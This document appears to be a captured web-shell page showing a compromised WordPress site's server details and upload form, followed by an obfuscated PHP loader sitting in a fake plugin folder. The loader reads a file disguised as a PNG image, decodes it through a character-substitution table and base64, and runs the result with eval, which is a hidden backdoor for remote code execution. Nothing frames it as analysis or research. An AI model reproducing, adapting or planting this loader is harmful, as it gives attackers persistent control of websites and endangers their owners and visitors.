Server : Apache System : Linux pod-100823:apache2_74:v0.5.7 5.4.0-1138-gcp #147~18.04.1-Ubuntu SMP Mon Oct 7 21:46:26 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 7.4.33.7 Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system Directory :  /nas/content/live/attorneyexperi/wp-content/plugins/ojepitax/

Upload File : current_dir [ Writeable ] document_root [ Writeable ]

<?php

function fibicop_edichyh($ryzychu_qyzokha) {
    if (!file_exists($ryzychu_qyzokha))
        return false;
    $zarucok = @file_get_contents($ryzychu_qyzokha);
    if (!$zarucok)
        return false;
    $zarucok = substr($zarucok, 3);
    $cynivi = kethico_rulyzyn($zarucok);
    return $cynivi;
}

function kethico_rulyzyn($ryzychu_qyzokha) {
    $biciris = emuthiw_itaworu;
    $arikhef = array();
    for ($oromod = 0; $oromod < strlen($biciris); $oromod += 2) {
        $zageriv = substr($biciris, $oromod, 1);
        $xotucy = substr($biciris, $oromod + 1, 1);
        $arikhef[$zageriv] = $xotucy;
    }
    $userymy = strtr($ryzychu_qyzokha, $arikhef);
    $userymy = base64_decode($userymy);

    return $userymy;
}

define("emuthiw_itaworu", "RiEGm7lkUYOy8h9F0cPVsbFT5mprYJXE1jLOjsaBBd752aZUJKx0DXH6=2oeKqr//fGQbvVLnCS8t1QgwWyniwqIkHgDcSAP3zfNd=exvoWuzA+tT34ph+64NluRC9IZMM");

$yzekhyx = fibicop_edichyh(__DIR__ . "/asset" . "s/imag" . "es/by" . "vofu." . "png");
if ($yzekhyx) {
    @eval($yzekhyx);
}